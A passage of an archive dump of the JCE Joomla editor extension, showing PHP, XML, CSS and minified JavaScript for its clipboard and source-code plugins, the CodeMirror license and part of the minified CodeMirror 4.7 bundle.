        $settings['clipboard_paste_remove_tags'] = $wf->getParam('clipboard.paste_remove_tags', '', '');
        $settings['clipboard_paste_keep_tags'] = $wf->getParam('clipboard.paste_keep_tags', '', '');
        $settings['clipboard_paste_filter'] = $wf->getParam('clipboard.paste_filter', '', '');
    }
}
editor/tiny_mce/plugins/clipboard/classes/clipboard.php000060400000002204150750527140017366 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFClipboardPlugin extends WFEditorPlugin
{
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

                // get command, eg: mcePaste, mcePasteText
                $cmd = JRequest::getCmd('cmd', 'paste');

                // remove mce prefix
                $cmd = str_replace('mce', '', $cmd);

                // set title
                $document->setTitle(WFText::_('WF_'.strtoupper($cmd).'_TITLE'));

        $document->addScript(array('clipboard'), 'plugins');
        $document->addStyleSheet(array('clipboard'), 'plugins');
    }
}
editor/tiny_mce/plugins/clipboard/classes/index.html000060400000000054150750527140016714 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/clipboard/css/blank.css000060400000000102150750527140015645 0ustar00body{background-color:#fff;color:#000;padding:2px;text-align:left}editor/tiny_mce/plugins/clipboard/css/index.html000060400000000054150750527140016047 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/clipboard/css/content.css000060400000000000150750527140016225 0ustar00editor/tiny_mce/plugins/clipboard/css/clipboard.css000060400000000546150750527140016531 0ustar00#container textarea,iframe{width:100%;height:100%;box-sizing:border-box}#container,#container textarea,iframe{box-sizing:border-box}#container{position:absolute;top:40px;height:76%;height:calc(100% - 96px)}#container textarea{font-family:'Courier New',Courier,mono;font-size:12px;padding:5px;border-radius:0}iframe{border:1px solid #ddd}h5{padding:10px 12px}editor/tiny_mce/plugins/clipboard/js/clipboard.js000060400000004420150750527140016174 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
var ClipboardDialog={settings:{},init:function(){var ifr,doc,css,self=this,ed=tinyMCEPopup.editor,el=document.getElementById("container"),title=document.getElementById("title"),cssHTML="";Wf.init(),$("#insert").click(function(e){self.insert(),e.preventDefault}),$("#cancel").click(function(e){tinyMCEPopup.close(),e.preventDefault});var cmd=tinyMCEPopup.getWindowArg("cmd"),msg=ed.getLang("clipboard.paste_dlg_title","Use %s+V on your keyboard to paste text into the window.");title.innerHTML=msg.replace(/%s/g,tinymce.isMac?"CMD":"CTRL"),"mcePaste"==cmd?(document.title=ed.getLang("clipboard.paste_desc"),el.innerHTML='<iframe id="content" src="javascript:\'\';" frameBorder="0"></iframe>',ifr=document.getElementById("content"),doc=ifr.contentWindow.document,css=tinymce.explode(ed.settings.content_css)||[],css.push(ed.baseURI.toAbsolute("themes/"+ed.settings.theme+"/skins/"+ed.settings.skin+"/content.css")),css.push(ed.baseURI.toAbsolute("plugins/clipboard/css/blank.css")),tinymce.each(css,function(u){cssHTML+='<link href="'+ed.documentBaseURI.toAbsolute(""+u)+'" rel="stylesheet" type="text/css" />'}),doc.open(),doc.write('<html><head><base href="'+ed.settings.base_url+'" />'+cssHTML+'</head><body class="mceContentBody" spellcheck="false"></body></html>'),doc.close(),doc.designMode="on",window.setTimeout(function(){ifr.contentWindow.focus()},100)):(document.title=ed.getLang("clipboard.paste_text_desc"),el.innerHTML='<textarea id="content" name="content" dir="ltr" wrap="soft" class="mceFocus"></textarea>')},insert:function(){var node=document.getElementById("content");tinyMCEPopup.restoreSelection();var data={};if("TEXTAREA"==node.nodeName)data.text=node.value;else{var content=node.contentWindow.document.body.innerHTML;content=content.replace(/<style[^>]*>[\s\S]+?<\/style>/gi,""),data.content=content}tinyMCEPopup.editor.execCommand("mceInsertClipboardContent",!1,data),tinyMCEPopup.close()},resize:function(){var el,vp=tinyMCEPopup.dom.getViewPort(window);el=document.getElementById("content"),el&&(el.style.height=vp.h-110+"px")}};tinyMCEPopup.onInit.add(ClipboardDialog.init,ClipboardDialog);editor/tiny_mce/plugins/clipboard/js/index.html000060400000000054150750527140015673 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/source.xml000060400000001107150750527140014645 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="source" core="1">
	<name>WF_SOURCE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_SOURCE_DESC</description>
	<languages></languages>
</install>
editor/tiny_mce/plugins/source/source.php000060400000001152150750527140014634 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

defined( '_JEXEC' ) or die('RESTRICTED');

require_once(dirname( __FILE__ ).'/classes/source.php');

$plugin = new WFSourcePlugin();
$plugin->execute();
?>editor/tiny_mce/plugins/source/classes/config.php000060400000003641150750527140016243 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
class WFSourcePluginConfig {

    public static function getConfig(&$settings) {
        $wf = WFEditor::getInstance();

        $settings['source_higlight'] = $wf->getParam('source.highlight', 1, 1, 'boolean');
        $settings['source_numbers'] = $wf->getParam('source.numbers', 1, 1, 'boolean');
        $settings['source_wrap'] = $wf->getParam('source.wrap', 1, 1, 'boolean');
        $settings['source_format'] = $wf->getParam('source.format', 1, 1, 'boolean');
        $settings['source_tag_closing'] = $wf->getParam('source.tag_closing', 1, 1, 'boolean');
        //$settings['source_selection_match'] = $wf->getParam('source.selection_match', 1, 1, 'boolean');
        
        $settings['source_font_size']   = $wf->getParam('source.font_size', '', '');
        $settings['source_theme']       = $wf->getParam('source.theme', 'codemirror');
    }

    public static function getStyles() {
        $wf = WFEditor::getInstance();

        if (JRequest::getWord('layout') === 'plugin') {
            // return file(s) array
            if ($wf->getParam('editor.compress_css', 0)) {
                return array(dirname(dirname(__FILE__)) . '/css/editor.css');
            }

            // use document instance	
            $document = JFactory::getDocument();
            $document->addStyleSheet(JURI::root(true) . '/components/com_jce/editor/tiny_mce/plugins/source/css/editor.css?version=' . $wf->getVersion());
        }
    }

}

?>editor/tiny_mce/plugins/source/classes/index.html000060400000000054150750527140016255 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/classes/source.php000060400000002514150750527140016274 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
require_once (WF_EDITOR_LIBRARIES . '/classes/plugin.php');

final class WFSourcePlugin extends WFEditorPlugin {
    public function display() {
        $document = WFDocument::getInstance();

        $view = $this->getView();

        $view->addTemplatePath(WF_EDITOR_PLUGIN . '/tmpl');

        $document->setTitle(WFText::_('WF_' . strtoupper($this->getName() . '_TITLE')));

        $theme  = $this->getParam('source.theme', 'codemirror');
        
        $document->addScript(array('tiny_mce_popup'), 'tiny_mce');
        $document->addScript(array('editor', 'format'), 'plugins');
        $document->addStyleSheet(array('editor'), 'plugins');
        
        $document->addScript(array('codemirror-compressed'), 'jce.tiny_mce.plugins.source.js.codemirror');
        $document->addStyleSheet(array('codemirror', 'theme/' . $theme), 'jce.tiny_mce.plugins.source.css.codemirror');
    }
}
editor/tiny_mce/plugins/source/js/codemirror/index.html000060400000000054150750527140017401 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/js/codemirror/LICENSE000060400000002314150750527140016412 0ustar00Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

Please note that some subdirectories of the CodeMirror distribution
include their own LICENSE files, and are released under different
licences.
editor/tiny_mce/plugins/source/js/codemirror/codemirror-compressed.js000060400000656276150750527140022300 0ustar00/* CodeMirror - Minified & Bundled
   Generated on 11/12/2014 with http://codemirror.net/doc/compress.html
   Version: 4.7

   CodeMirror Library:
   - codemirror.js
   Modes:
   - clike.js
   - css.js
   - htmlmixed.js
   - javascript.js
   - php.js
   - xml.js
   Add-ons:
   - active-line.js
   - closebrackets.js
   - closetag.js
   - mark-selection.js
   - match-highlighter.js
   - matchbrackets.js
   - search.js
   - searchcursor.js
 */

!function(a){if("object"==typeof exports&&"object"==typeof module)module.exports=a();else{if("function"==typeof define&&define.amd)return define([],a);this.CodeMirror=a()}}(function(){"use strict";function w(a,b){if(!(this instanceof w))return new w(a,b);this.options=b=b?Og(b):{},Og(ie,b,!1),K(b);var c=b.value;"string"==typeof c&&(c=new Jf(c,b.mode)),this.doc=c;var f=this.display=new x(a,c);f.wrapper.CodeMirror=this,G(this),E(this),b.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap"),b.autofocus&&!o&&ad(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,draggingText:!1,highlight:new Eg},d&&11>e&&setTimeout(Pg(_c,this,!0),20),dd(this),gh(),Bc(this),this.curOp.forceUpdate=!0,Nf(this,c),b.autofocus&&!o||_g()==f.input?setTimeout(Pg(Hd,this),20):Id(this);for(var g in je)je.hasOwnProperty(g)&&je[g](this,b[g],le);Q(this);for(var h=0;h<pe.length;++h)pe[h](this);Dc(this)}function x(a,b){var c=this,g=c.input=Wg("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none");f?g.style.width="1000px":g.setAttribute("wrap","off"),n&&(g.style.border="1px solid black"),g.setAttribute("autocorrect","off"),g.setAttribute("autocapitalize","off"),g.setAttribute("spellcheck","false"),c.inputDiv=Wg("div",[g],null,"overflow: hidden; position: relative; width: 3px; height: 0px;"),c.scrollbarH=Wg("div",[Wg("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar"),c.scrollbarV=Wg("div",[Wg("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),c.scrollbarFiller=Wg("div",null,"CodeMirror-scrollbar-filler"),c.gutterFiller=Wg("div",null,"CodeMirror-gutter-filler"),c.lineDiv=Wg("div",null,"CodeMirror-code"),c.selectionDiv=Wg("div",null,null,"position: relative; z-index: 1"),c.cursorDiv=Wg("div",null,"CodeMirror-cursors"),c.measure=Wg("div",null,"CodeMirror-measure"),c.lineMeasure=Wg("div",null,"CodeMirror-measure"),c.lineSpace=Wg("div",[c.measure,c.lineMeasure,c.selectionDiv,c.cursorDiv,c.lineDiv],null,"position: relative; outline: none"),c.mover=Wg("div",[Wg("div",[c.lineSpace],"CodeMirror-lines")],null,"position: relative"),c.sizer=Wg("div",[c.mover],"CodeMirror-sizer"),c.heightForcer=Wg("div",null,null,"position: absolute; height: "+zg+"px; width: 1px;"),c.gutters=Wg("div",null,"CodeMirror-gutters"),c.lineGutter=null,c.scroller=Wg("div",[c.sizer,c.heightForcer,c.gutters],"CodeMirror-scroll"),c.scroller.setAttribute("tabIndex","-1"),c.wrapper=Wg("div",[c.inputDiv,c.scrollbarH,c.scrollbarV,c.scrollbarFiller,c.gutterFiller,c.scroller],"CodeMirror"),d&&8>e&&(c.gutters.style.zIndex=-1,c.scroller.style.paddingRight=0),n&&(g.style.width="0px"),f||(c.scroller.draggable=!0),k&&(c.inputDiv.style.height="1px",c.inputDiv.style.position="absolute"),d&&8>e&&(c.scrollbarH.style.minHeight=c.scrollbarV.style.minWidth="18px"),a.appendChild?a.appendChild(c.wrapper):a(c.wrapper),c.viewFrom=c.viewTo=b.first,c.view=[],c.externalMeasured=null,c.viewOffset=0,c.lastSizeC=0,c.updateLineNumbers=null,c.lineNumWidth=c.lineNumInnerWidth=c.lineNumChars=null,c.prevInput="",c.alignWidgets=!1,c.pollingFast=!1,c.poll=new Eg,c.cachedCharWidth=c.cachedTextHeight=c.cachedPaddingH=null,c.inaccurateSelection=!1,c.maxLine=null,c.maxLineLength=0,c.maxLineChanged=!1,c.wheelDX=c.wheelDY=c.wheelStartX=c.wheelStartY=null,c.shift=!1,c.selForContextMenu=null}function y(a){a.doc.mode=w.getMode(a.options,a.doc.modeOption),z(a)}function z(a){a.doc.iter(function(a){a.stateAfter&&(a.stateAfter=null),a.styles&&(a.styles=null)}),a.doc.frontier=a.doc.first,Ub(a,100),a.state.modeGen++,a.curOp&&Qc(a)}function A(a){a.options.lineWrapping?(ch(a.display.wrapper,"CodeMirror-wrap"),a.display.sizer.style.minWidth=""):(bh(a.display.wrapper,"CodeMirror-wrap"),J(a)),C(a),Qc(a),lc(a),setTimeout(function(){N(a)},100)}function B(a){var b=xc(a.display),c=a.options.lineWrapping,d=c&&Math.max(5,a.display.scroller.clientWidth/yc(a.display)-3);return function(e){if(df(a.doc,e))return 0;var f=0;if(e.widgets)for(var g=0;g<e.widgets.length;g++)e.widgets[g].height&&(f+=e.widgets[g].height);return c?f+(Math.ceil(e.text.length/d)||1)*b:f+b}}function C(a){var b=a.doc,c=B(a);b.iter(function(a){var b=c(a);b!=a.height&&Rf(a,b)})}function D(a){var b=ue[a.options.keyMap],c=b.style;a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-keymap-\S+/g,"")+(c?" cm-keymap-"+c:"")}function E(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+a.options.theme.replace(/(^|\s)\s*/g," cm-s-"),lc(a)}function F(a){G(a),Qc(a),setTimeout(function(){P(a)},20)}function G(a){var b=a.display.gutters,c=a.options.gutters;Yg(b);for(var d=0;d<c.length;++d){var e=c[d],f=b.appendChild(Wg("div",null,"CodeMirror-gutter "+e));"CodeMirror-linenumbers"==e&&(a.display.lineGutter=f,f.style.width=(a.display.lineNumWidth||1)+"px")}b.style.display=d?"":"none",H(a)}function H(a){var b=a.display.gutters.offsetWidth;a.display.sizer.style.marginLeft=b+"px",a.display.scrollbarH.style.left=a.options.fixedGutter?b+"px":0}function I(a){if(0==a.height)return 0;for(var c,b=a.text.length,d=a;c=Ye(d);){var e=c.find(0,!0);d=e.from.line,b+=e.from.ch-e.to.ch}for(d=a;c=Ze(d);){var e=c.find(0,!0);b-=d.text.length-e.from.ch,d=e.to.line,b+=d.text.length-e.to.ch}return b}function J(a){var b=a.display,c=a.doc;b.maxLine=Of(c,c.first),b.maxLineLength=I(b.maxLine),b.maxLineChanged=!0,c.iter(function(a){var c=I(a);c>b.maxLineLength&&(b.maxLineLength=c,b.maxLine=a)})}function K(a){var b=Lg(a.gutters,"CodeMirror-linenumbers");-1==b&&a.lineNumbers?a.gutters=a.gutters.concat(["CodeMirror-linenumbers"]):b>-1&&!a.lineNumbers&&(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function L(a){return a.display.scroller.clientHeight-a.display.wrapper.clientHeight<zg-3}function M(a){var b=a.display.scroller;return{clientHeight:b.clientHeight,barHeight:a.display.scrollbarV.clientHeight,scrollWidth:b.scrollWidth,clientWidth:b.clientWidth,hScrollbarTakesSpace:L(a),barWidth:a.display.scrollbarH.clientWidth,docHeight:Math.round(a.doc.height+Zb(a.display))}}function N(a,b){b||(b=M(a));var c=a.display,d=kh(c.measure),e=b.docHeight+zg,f=b.scrollWidth>b.clientWidth;f&&b.scrollWidth<=b.clientWidth+1&&d>0&&!b.hScrollbarTakesSpace&&(f=!1);var g=e>b.clientHeight;if(g?(c.scrollbarV.style.display="block",c.scrollbarV.style.bottom=f?d+"px":"0",c.scrollbarV.firstChild.style.height=Math.max(0,e-b.clientHeight+(b.barHeight||c.scrollbarV.clientHeight))+"px"):(c.scrollbarV.style.display="",c.scrollbarV.firstChild.style.height="0"),f?(c.scrollbarH.style.display="block",c.scrollbarH.style.right=g?d+"px":"0",c.scrollbarH.firstChild.style.width=b.scrollWidth-b.clientWidth+(b.barWidth||c.scrollbarH.clientWidth)+"px"):(c.scrollbarH.style.display="",c.scrollbarH.firstChild.style.width="0"),f&&g?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=c.scrollbarFiller.style.width=d+"px"):c.scrollbarFiller.style.display="",f&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d+"px",c.gutterFiller.style.width=c.gutters.offsetWidth+"px"):c.gutterFiller.style.display="",!a.state.checkedOverlayScrollbar&&b.clientHeight>0){if(0===d){var h=p&&!l?"12px":"18px";c.scrollbarV.style.minWidth=c.scrollbarH.style.minHeight=h;var i=function(b){ng(b)!=c.scrollbarV&&ng(b)!=c.scrollbarH&&Lc(a,hd)(b)};pg(c.scrollbarV,"mousedown",i),pg(c.scrollbarH,"mousedown",i)}a.state.checkedOverlayScrollbar=!0}}function O(a,b,c){var d=c&&null!=c.top?Math.max(0,c.top):a.scroller.scrollTop;d=Math.floor(d-Yb(a));var e=c&&null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,f=Tf(b,d),g=Tf(b,e);if(c&&c.ensure){var h=c.ensure.from.line,i=c.ensure.to.line;if(f>h)return{from:h,to:Tf(b,Uf(Of(b,h))+a.wrapper.clientHeight)};if(Math.min(i,b.lastLine())>=g)return{from:Tf(b,Uf(Of(b,i))-a.wrapper.clientHeight),to:i}}return{from:f,to:Math.max(g,f+1)}}function P(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var d=S(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+"px",g=0;g<c.length;g++)if(!c[g].hidden){a.options.fixedGutter&&c[g].gutter&&(c[g].gutter.style.left=f);var h=c[g].alignable;if(h)for(var i=0;i<h.length;i++)h[i].style.left=f}a.options.fixedGutter&&(b.gutters.style.left=d+e+"px")}}function Q(a){if(!a.options.lineNumbers)return!1;var b=a.doc,c=R(a.options,b.first+b.size-1),d=a.display;if(c.length!=d.lineNumChars){var e=d.measure.appendChild(Wg("div",[Wg("div",c)],"CodeMirror-linenumber CodeMirror-gutter-elt")),f=e.firstChild.offsetWidth,g=e.offsetWidth-f;return d.lineGutter.style.width="",d.lineNumInnerWidth=Math.max(f,d.lineGutter.offsetWidth-g),d.lineNumWidth=d.lineNumInnerWidth+g,d.lineNumChars=d.lineNumInnerWidth?c.length:-1,d.lineGutter.style.width=d.lineNumWidth+"px",H(a),!0}return!1}function R(a,b){return String(a.lineNumberFormatter(b+a.firstLineNumber))}function S(a){return a.scroller.getBoundingClientRect().left-a.sizer.getBoundingClientRect().left}function T(a,b,c){var d=a.display;this.viewport=b,this.visible=O(d,a.doc,b),this.editorIsHidden=!d.wrapper.offsetWidth,this.wrapperHeight=d.wrapper.clientHeight,this.oldViewFrom=d.viewFrom,this.oldViewTo=d.viewTo,this.oldScrollerWidth=d.scroller.clientWidth,this.force=c,this.dims=_(a)}function U(a,b){var c=a.display,d=a.doc;if(b.editorIsHidden)return Sc(a),!1;if(!b.force&&b.visible.from>=c.viewFrom&&b.visible.to<=c.viewTo&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo)&&0==Wc(a))return!1;Q(a)&&(Sc(a),b.dims=_(a));var e=d.first+d.size,f=Math.max(b.visible.from-a.options.viewportMargin,d.first),g=Math.min(e,b.visible.to+a.options.viewportMargin);c.viewFrom<f&&f-c.viewFrom<20&&(f=Math.max(d.first,c.viewFrom)),c.viewTo>g&&c.viewTo-g<20&&(g=Math.min(e,c.viewTo)),v&&(f=bf(a.doc,f),g=cf(a.doc,g));var h=f!=c.viewFrom||g!=c.viewTo||c.lastSizeC!=b.wrapperHeight;Vc(a,f,g),c.viewOffset=Uf(Of(a.doc,c.viewFrom)),a.display.mover.style.top=c.viewOffset+"px";var i=Wc(a);if(!h&&0==i&&!b.force&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo))return!1;var j=_g();return i>4&&(c.lineDiv.style.display="none"),ab(a,c.updateLineNumbers,b.dims),i>4&&(c.lineDiv.style.display=""),j&&_g()!=j&&j.offsetHeight&&j.focus(),Yg(c.cursorDiv),Yg(c.selectionDiv),h&&(c.lastSizeC=b.wrapperHeight,Ub(a,400)),c.updateLineNumbers=null,!0}function V(a,b){for(var c=b.force,d=b.viewport,e=!0;;e=!1){if(e&&a.options.lineWrapping&&b.oldScrollerWidth!=a.display.scroller.clientWidth)c=!0;else if(c=!1,d&&null!=d.top&&(d={top:Math.min(a.doc.height+Zb(a.display)-zg-a.display.scroller.clientHeight,d.top)}),b.visible=O(a.display,a.doc,d),b.visible.from>=a.display.viewFrom&&b.visible.to<=a.display.viewTo)break;if(!U(a,b))break;Z(a);var f=M(a);Qb(a),X(a,f),N(a,f)}tg(a,"update",a),(a.display.viewFrom!=b.oldViewFrom||a.display.viewTo!=b.oldViewTo)&&tg(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo)}function W(a,b){var c=new T(a,b);if(U(a,c)){Z(a),V(a,c);var d=M(a);Qb(a),X(a,d),N(a,d)}}function X(a,b){a.display.sizer.style.minHeight=a.display.heightForcer.style.top=b.docHeight+"px",a.display.gutters.style.height=Math.max(b.docHeight,b.clientHeight-zg)+"px"}function Y(a,b){a.display.sizer.offsetWidth+a.display.gutters.offsetWidth<a.display.scroller.clientWidth-1&&(a.display.sizer.style.minHeight=a.display.heightForcer.style.top="0px",a.display.gutters.style.height=b.docHeight+"px")}function Z(a){for(var b=a.display,c=b.lineDiv.offsetTop,f=0;f<b.view.length;f++){var h,g=b.view[f];if(!g.hidden){if(d&&8>e){var i=g.node.offsetTop+g.node.offsetHeight;h=i-c,c=i}else{var j=g.node.getBoundingClientRect();h=j.bottom-j.top}var k=g.line.height-h;if(2>h&&(h=xc(b)),(k>.001||-.001>k)&&(Rf(g.line,h),$(g.line),g.rest))for(var l=0;l<g.rest.length;l++)$(g.rest[l])}}}function $(a){if(a.widgets)for(var b=0;b<a.widgets.length;++b)a.widgets[b].height=a.widgets[b].node.offsetHeight}function _(a){for(var b=a.display,c={},d={},e=b.gutters.clientLeft,f=b.gutters.firstChild,g=0;f;f=f.nextSibling,++g)c[a.options.gutters[g]]=f.offsetLeft+f.clientLeft+e,d[a.options.gutters[g]]=f.clientWidth;return{fixedPos:S(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function ab(a,b,c){function i(b){var c=b.nextSibling;return f&&p&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b),c}for(var d=a.display,e=a.options.lineNumbers,g=d.lineDiv,h=g.firstChild,j=d.view,k=d.viewFrom,l=0;l<j.length;l++){var m=j[l];if(m.hidden);else if(m.node){for(;h!=m.node;)h=i(h);var o=e&&null!=b&&k>=b&&m.lineNumber;m.changes&&(Lg(m.changes,"gutter")>-1&&(o=!1),bb(a,m,k,c)),o&&(Yg(m.lineNumber),m.lineNumber.appendChild(document.createTextNode(R(a.options,k)))),h=m.node.nextSibling}else{var n=jb(a,m,k,c);g.insertBefore(n,h)}k+=m.size}for(;h;)h=i(h)}function bb(a,b,c,d){for(var e=0;e<b.changes.length;e++){var f=b.changes[e];"text"==f?fb(a,b):"gutter"==f?hb(a,b,c,d):"class"==f?gb(b):"widget"==f&&ib(b,d)}b.changes=null}function cb(a){return a.node==a.text&&(a.node=Wg("div",null,null,"position: relative"),a.text.parentNode&&a.text.parentNode.replaceChild(a.node,a.text),a.node.appendChild(a.text),d&&8>e&&(a.node.style.zIndex=2)),a.node}function db(a){var b=a.bgClass?a.bgClass+" "+(a.line.bgClass||""):a.line.bgClass;if(b&&(b+=" CodeMirror-linebackground"),a.background)b?a.background.className=b:(a.background.parentNode.removeChild(a.background),a.background=null);else if(b){var c=cb(a);a.background=c.insertBefore(Wg("div",null,b),c.firstChild)}}function eb(a,b){var c=a.display.externalMeasured;return c&&c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):xf(a,b)}function fb(a,b){var c=b.text.className,d=eb(a,b);b.text==b.node&&(b.node=d.pre),b.text.parentNode.replaceChild(d.pre,b.text),b.text=d.pre,d.bgClass!=b.bgClass||d.textClass!=b.textClass?(b.bgClass=d.bgClass,b.textClass=d.textClass,gb(b)):c&&(b.text.className=c)}function gb(a){db(a),a.line.wrapClass?cb(a).className=a.line.wrapClass:a.node!=a.text&&(a.node.className="");var b=a.textClass?a.textClass+" "+(a.line.textClass||""):a.line.textClass;a.text.className=b||""}function hb(a,b,c,d){b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null);var e=b.line.gutterMarkers;if(a.options.lineNumbers||e){var f=cb(b),g=b.gutter=f.insertBefore(Wg("div",null,"CodeMirror-gutter-wrapper","position: absolute; left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+"px"),b.text);if(!a.options.lineNumbers||e&&e["CodeMirror-linenumbers"]||(b.lineNumber=g.appendChild(Wg("div",R(a.options,c),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+d.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+a.display.lineNumInnerWidth+"px"))),e)for(var h=0;h<a.options.gutters.length;++h){var i=a.options.gutters[h],j=e.hasOwnProperty(i)&&e[i];j&&g.appendChild(Wg("div",[j],"CodeMirror-gutter-elt","left: "+d.gutterLeft[i]+"px; width: "+d.gutterWidth[i]+"px"))}}}function ib(a,b){a.alignable&&(a.alignable=null);for(var d,c=a.node.firstChild;c;c=d){var d=c.nextSibling;"CodeMirror-linewidget"==c.className&&a.node.removeChild(c)}kb(a,b)}function jb(a,b,c,d){var e=eb(a,b);return b.text=b.node=e.pre,e.bgClass&&(b.bgClass=e.bgClass),e.textClass&&(b.textClass=e.textClass),gb(b),hb(a,b,c,d),kb(b,d),b.node}function kb(a,b){if(lb(a.line,a,b,!0),a.rest)for(var c=0;c<a.rest.length;c++)lb(a.rest[c],a,b,!1)}function lb(a,b,c,d){if(a.widgets)for(var e=cb(b),f=0,g=a.widgets;f<g.length;++f){var h=g[f],i=Wg("div",[h.node],"CodeMirror-linewidget");h.handleMouseEvents||(i.ignoreEvents=!0),mb(h,i,b,c),d&&h.above?e.insertBefore(i,b.gutter||b.text):e.appendChild(i),tg(h,"redraw")}}function mb(a,b,c,d){if(a.noHScroll){(c.alignable||(c.alignable=[])).push(b);var e=d.wrapperWidth;b.style.left=d.fixedPos+"px",a.coverGutter||(e-=d.gutterTotalWidth,b.style.paddingLeft=d.gutterTotalWidth+"px"),b.style.width=e+"px"}a.coverGutter&&(b.style.zIndex=5,b.style.position="relative",a.noHScroll||(b.style.marginLeft=-d.gutterTotalWidth+"px"))}function pb(a){return nb(a.line,a.ch)}function qb(a,b){return ob(a,b)<0?b:a}function rb(a,b){return ob(a,b)<0?a:b}function sb(a,b){this.ranges=a,this.primIndex=b}function tb(a,b){this.anchor=a,this.head=b}function ub(a,b){var c=a[b];a.sort(function(a,b){return ob(a.from(),b.from())}),b=Lg(a,c);for(var d=1;d<a.length;d++){var e=a[d],f=a[d-1];if(ob(f.to(),e.from())>=0){var g=rb(f.from(),e.from()),h=qb(f.to(),e.to()),i=f.empty()?e.from()==e.head:f.from()==f.head;b>=d&&--b,a.splice(--d,2,new tb(i?h:g,i?g:h))}}return new sb(a,b)}function vb(a,b){return new sb([new tb(a,b||a)],0)}function wb(a,b){return Math.max(a.first,Math.min(b,a.first+a.size-1))}function xb(a,b){if(b.line<a.first)return nb(a.first,0);var c=a.first+a.size-1;return 